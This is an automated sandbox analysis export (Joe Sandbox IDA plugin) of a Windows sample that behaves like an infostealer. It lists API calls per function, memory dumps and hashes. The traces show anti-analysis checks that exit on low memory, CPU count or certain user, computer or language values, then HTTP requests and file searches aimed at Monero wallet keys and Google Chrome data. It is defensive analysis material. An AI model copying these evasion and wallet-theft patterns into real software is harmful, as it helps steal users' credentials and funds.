Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,01892218), ref: 00CC9903
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,018999C0), ref: 00CC991B
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,018853F0), ref: 00CC9933
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,018852B0), ref: 00CC994C
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,018922F0), ref: 00CC9964
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,01892308), ref: 00CC997C
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,01892158), ref: 00CC9995
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,01892320), ref: 00CC99AD
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,018855B0), ref: 00CC99C5
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,01892230), ref: 00CC99DE

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CB11D0: ExitProcess.KERNEL32 ref: 00CB1211

Part of subcall function 00CB1160: GetSystemInfo.KERNEL32(?), ref: 00CB116A
Part of subcall function 00CB1160: ExitProcess.KERNEL32 ref: 00CB117E

Part of subcall function 00CB1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00CB112B
Part of subcall function 00CB1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00CB1132
Part of subcall function 00CB1110: ExitProcess.KERNEL32 ref: 00CB1143

Part of subcall function 00CB1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00CB123E
Part of subcall function 00CB1220: __aulldiv.LIBCMT ref: 00CB1258
Part of subcall function 00CB1220: __aulldiv.LIBCMT ref: 00CB1266
Part of subcall function 00CB1220: ExitProcess.KERNEL32 ref: 00CB1294

Part of subcall function 00CC6770: GetUserDefaultLangID.KERNEL32 ref: 00CC6774

Part of subcall function 00CB1190: ExitProcess.KERNEL32 ref: 00CB11C6

Part of subcall function 00CC7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00CB11B7), ref: 00CC7880
Part of subcall function 00CC7850: RtlAllocateHeap.NTDLL(00000000), ref: 00CC7887
Part of subcall function 00CC7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00CC789F

Part of subcall function 00CC78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CC7910
Part of subcall function 00CC78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00CC7917
Part of subcall function 00CC78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00CC792F

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,018999B0,?,00CD110C,?,00000000,?,00CD1110,?,00000000,00CD0AEF), ref: 00CC6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CC6AE8
CloseHandle.KERNEL32(00000000), ref: 00CC6AF9
Sleep.KERNEL32(00001770), ref: 00CC6B04
CloseHandle.KERNEL32(?,00000000,?,018999B0,?,00CD110C,?,00000000,?,00CD1110,?,00000000,00CD0AEF), ref: 00CC6B1A
ExitProcess.KERNEL32 ref: 00CC6B22

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 5fca923c070927aebac6e05da594c03aa30b818e41722b2135eb4a46c71429ad
Instruction ID: b19addee5f3a9abd2f5029c2572cc012883888da5c73ac59d6ae86a0edffac1f
Opcode Fuzzy Hash: 5fca923c070927aebac6e05da594c03aa30b818e41722b2135eb4a46c71429ad
Instruction Fuzzy Hash: 97312A70900208ABDB04FBF1DC5AFEE7778AF44344F54452DF612A61C2DF706A05EAA6

Function 00CB1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00CB123E
__aulldiv.LIBCMT ref: 00CB1258
__aulldiv.LIBCMT ref: 00CB1266
ExitProcess.KERNEL32 ref: 00CB1294

Strings

@, xrefs: 00CB1233

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: feb478ed646a2c0ef7ac1edec3b395ae247fe90c0e2c84119ad6341aea8c1211
Instruction ID: b1098b7f49f9420fb6ba93bee292e7b6978f218000df0c316636e618d1293eef
Opcode Fuzzy Hash: feb478ed646a2c0ef7ac1edec3b395ae247fe90c0e2c84119ad6341aea8c1211
Instruction Fuzzy Hash: 9D0162B0D40308FAEB10DBE0CC49FEEB778AF54701F648068EB05BA1C0D7746645979A

Function 00CC6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,018999B0,?,00CD110C,?,00000000,?,00CD1110,?,00000000,00CD0AEF), ref: 00CC6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CC6AE8
CloseHandle.KERNEL32(00000000), ref: 00CC6AF9
Sleep.KERNEL32(00001770), ref: 00CC6B04
CloseHandle.KERNEL32(?,00000000,?,018999B0,?,00CD110C,?,00000000,?,00CD1110,?,00000000,00CD0AEF), ref: 00CC6B1A
ExitProcess.KERNEL32 ref: 00CC6B22

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: a398132a145226431b9fb543631bcef3fa744d102029fdcdbafca6fb92624f08
Instruction ID: f167689c6c1b7501dd75252e0701805b019b3e16aa2c3f29125d8859210f6b41
Opcode Fuzzy Hash: a398132a145226431b9fb543631bcef3fa744d102029fdcdbafca6fb92624f08
Instruction Fuzzy Hash: 25F0BEB0900209AFE700ABA2DD1AFBE7B34EB04300F10442DF516F51C0CBB02941FAA6

Function 00CB47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CB4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00CB4849

Strings

<, xrefs: 00CB47C9

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: e53544f7a9b0eb6c7d2bd070fb68ffe38ec0b0006a8e5636e8a1c9c9d0f11bee
Instruction ID: 1fcb4e6907be845f8982ac5798629da625f3c6bd0755d3f76530e590f36973af
Opcode Fuzzy Hash: e53544f7a9b0eb6c7d2bd070fb68ffe38ec0b0006a8e5636e8a1c9c9d0f11bee
Instruction Fuzzy Hash: 5D214FB1D00208ABDF14EFA5E849BDE7B74FB44320F148629F919A72C0DB706A05DF92

Function 00CC51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CB6280: InternetOpenA.WININET(00CD0DFE,00000001,00000000,00000000,00000000), ref: 00CB62E1
Part of subcall function 00CB6280: StrCmpCA.SHLWAPI(?,0189E6F8), ref: 00CB6303
Part of subcall function 00CB6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CB6335
Part of subcall function 00CB6280: HttpOpenRequestA.WININET(00000000,GET,?,0189DEC8,00000000,00000000,00400100,00000000), ref: 00CB6385
Part of subcall function 00CB6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00CB63BF
Part of subcall function 00CB6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CB63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CC5228

Strings

ERROR, xrefs: 00CC521A
ERROR, xrefs: 00CC5273

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 2f45b2eb36e87398134b62ae5d320d090bd47214ac6ca82003f363115f96ada8
Instruction ID: a95d48518904758acaddf8a2892fc24ab9e4dae50e0258c5d07017d56bb638ef
Opcode Fuzzy Hash: 2f45b2eb36e87398134b62ae5d320d090bd47214ac6ca82003f363115f96ada8
Instruction Fuzzy Hash: 29111C3090004CABCB14FF61DD5AFED7378AF50304F80416CF91A5A592EF30AB4AEA92

Function 00CB1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00CB112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00CB1132
ExitProcess.KERNEL32 ref: 00CB1143

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: fa9b3deb46037ef0a8d051f9cf3a855458b5b5f324243b26054e8f746624b64f
Instruction ID: 1b131c0dc2836c9b07e84d4c6daba171df71ac2ea70c52abf3624f867d97f69a
Opcode Fuzzy Hash: fa9b3deb46037ef0a8d051f9cf3a855458b5b5f324243b26054e8f746624b64f
Instruction Fuzzy Hash: 1BE086B0945348FFE7106FA1DC0EB5C76B8AB44B41F540055F70D7A1C0C6F42604DA99

Function 00CB10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00CB10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00CB10F7

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 0c9aad66fc2f3c61f52f3dcca3f69445218dbd90f15fd330efd2f1db4aa52aa9
Instruction ID: 173d623bf466ea516cb0f6e36bb6868d711454dcca9962093f6d91383d65e8c5
Opcode Fuzzy Hash: 0c9aad66fc2f3c61f52f3dcca3f69445218dbd90f15fd330efd2f1db4aa52aa9
Instruction Fuzzy Hash: 6EF0E9B1641204BBE714A6A4AC59FBBB7D8D705715F300458F904E7280D5716F04DA50

Function 00CB1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00CC78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CC7910
Part of subcall function 00CC78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00CC7917
Part of subcall function 00CC78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00CC792F

Part of subcall function 00CC7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00CB11B7), ref: 00CC7880
Part of subcall function 00CC7850: RtlAllocateHeap.NTDLL(00000000), ref: 00CC7887
Part of subcall function 00CC7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00CC789F

ExitProcess.KERNEL32 ref: 00CB11C6

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 2834b7ec5507a3ab5fa3cd64926d7288cbca99db834a5e8fbc9a79c814a33cd6
Instruction ID: 2e1c17b7d10b83bf1a192959514b7a5ca0228520aa761d485a8754e9ec97e6d5
Opcode Fuzzy Hash: 2834b7ec5507a3ab5fa3cd64926d7288cbca99db834a5e8fbc9a79c814a33cd6
Instruction Fuzzy Hash: 35E0ECA591420156DA0073B6EC1AF2A329C9B54749F08052DFB09FA142FA25E908E966

Non-executed Functions

Function 00CC38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00CC38CC
FindFirstFileA.KERNEL32(?,?), ref: 00CC38E3
lstrcat.KERNEL32(?,?), ref: 00CC3935
StrCmpCA.SHLWAPI(?,00CD0F70), ref: 00CC3947
StrCmpCA.SHLWAPI(?,00CD0F74), ref: 00CC395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00CC3C67
FindClose.KERNEL32(000000FF), ref: 00CC3C7C

Strings

%s\%s, xrefs: 00CC3A6F
%s\%s\%s, xrefs: 00CC3A4A
%s\*, xrefs: 00CC38C0
%s\%s, xrefs: 00CC397A
%s%s, xrefs: 00CC3AAD

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: bcee5ee08eb46fe4fe0d1bd75c2532b73366d51e7375ffc27d1ef7851c0e0694
Instruction ID: 4f18ca1a7aca1c68bda9b67120c7d61bc31fe807e214197f7a5f9edd44aca231
Opcode Fuzzy Hash: bcee5ee08eb46fe4fe0d1bd75c2532b73366d51e7375ffc27d1ef7851c0e0694
Instruction Fuzzy Hash: 57A122B19002489FDB24DBA5DC85FFE7378BB88300F48459DE51DA6141EB759B88CF62

Function 00CBBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

FindFirstFileA.KERNEL32(00000000,?,00CD0B32,00CD0B2B,00000000,?,?,?,00CD13F4,00CD0B2A), ref: 00CBBEF5
StrCmpCA.SHLWAPI(?,00CD13F8), ref: 00CBBF4D
StrCmpCA.SHLWAPI(?,00CD13FC), ref: 00CBBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00CBC7BF
FindClose.KERNEL32(000000FF), ref: 00CBC7D1

Strings

Google Chrome, xrefs: 00CBC634
